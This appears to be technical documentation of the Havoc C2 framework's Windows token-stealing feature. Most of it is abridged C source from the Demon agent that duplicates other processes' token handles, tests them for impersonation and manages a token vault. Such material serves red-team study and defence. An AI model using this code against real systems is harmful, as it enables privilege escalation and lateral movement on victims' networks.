Havoc implements a comprehensive token management system that allows operators to steal, store, and impersonate Windows access tokens. This enables privilege escalation, lateral movement, and operating under different security contexts.
The token vault maintains a linked list of stolen and created tokens that persist across commands, allowing operators to switch between security contexts on demand.
Havoc can enumerate all accessible tokens on the system:Source: payloads/Demon/src/core/Token.c:1130
BOOL ListTokens(PUSER_TOKEN_DATA* pTokens, PDWORD pNumTokens) { PSYSTEM_HANDLE_INFORMATION handleTableInformation = NULL; PPROCESS_LIST ProcessList = NULL; // Enable SeDebugPrivilege TokenSetSeDebugPriv(TRUE); // Get the object type index for "Token" GetTypeIndexToken(&TokenTypeIndex); // Get all system handles GetAllHandles(&handleTableInformation, &handleTableInformationSize); // Extract unique process IDs GetProcessesFromHandleTable(handleTableInformation, &ProcessList); // Loop through each process for (ULONG i = 0; i < ProcessList->Count; i++) { ProcessId = ProcessList->ProcessId[i]; hProcess = ProcessOpen(ProcessId, PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE); // Loop through handles in this process for (ULONG j = 0; j < handleTableInformation->NumberOfHandles; j++) { if (handleInfo->ObjectTypeIndex == TokenTypeIndex) { // Duplicate the token SysNtDuplicateObject( hProcess, handleInfo->HandleValue, NtCurrentProcess(), &hToken, 0, 0, DUPLICATE_SAME_ACCESS ); // Process and store if valid ProcessUserToken(hToken, ProcessId, handleInfo->HandleValue, CheckUsername, &CurrentUser, Tokens, &NumTokens); } } }}
BOOL CanTokenBeImpersonated(IN HANDLE hToken) { BOOL Success = FALSE; HANDLE hImp = NULL; // Try to impersonate the token if (!SysImpersonateLoggedOnUser(hToken)) return FALSE; // Try to open a handle to the current token Success = Instance->Win32.OpenThreadToken( NtCurrentThread(), MAXIMUM_ALLOWED, TRUE, &hImp ); TokenRevSelf(); if (!Success) return FALSE; // Verify it kept impersonation status Success = IsImpersonationToken(hImp); SysNtClose(hImp); return Success;}
Source: payloads/Demon/src/core/Token.c:474Tokens are securely removed from the vault with memory zeroing:
BOOL TokenRemove(DWORD TokenID) { PTOKEN_LIST_DATA TokenItem = TokenGet(TokenID); // Revert if currently impersonating this token if (Instance->Tokens.Impersonate && Instance->Tokens.Token->Handle == TokenItem->Handle) { TokenImpersonate(FALSE); } // Close handle if (TokenItem->Handle) { SysNtClose(TokenItem->Handle); } // Zero and free all strings if (TokenItem->DomainUser) { MemSet(TokenItem->DomainUser, 0, StringLengthW(TokenItem->DomainUser) * sizeof(WCHAR)); Instance->Win32.LocalFree(TokenItem->DomainUser); } // Zero structure and free MemSet(TokenItem, 0, sizeof(TOKEN_LIST_DATA)); Instance->Win32.LocalFree(TokenItem); return TRUE;}